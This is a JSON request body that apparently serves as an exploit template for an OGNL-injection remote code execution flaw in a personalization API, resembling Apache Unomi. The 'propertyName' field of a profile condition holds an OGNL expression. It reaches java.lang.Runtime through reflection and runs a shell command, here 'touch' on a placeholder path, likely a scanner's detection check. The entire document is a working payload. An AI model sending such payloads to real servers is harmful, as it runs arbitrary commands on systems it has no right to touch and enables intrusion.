| { |
| "personalizations":[ |
| { |
| "id":"gender-test", |
| "strategy":"matching-first", |
| "strategyOptions":{ |
| "fallback":"var2" |
| }, |
| "contents":[ |
| { |
| "filters":[ |
| { |
| "condition":{ |
| "parameterValues":{ |
| "propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\" touch ###VULN_FILE_PATH###\"))", |
| "comparisonOperator":"equals", |
| "propertyValue":"male" |
| }, |
| "type":"profilePropertyCondition" |
| } |
| } |
| ] |
| } |
| ] |
| } |
| ], |
| "sessionId":"demo-session-id" |
| } |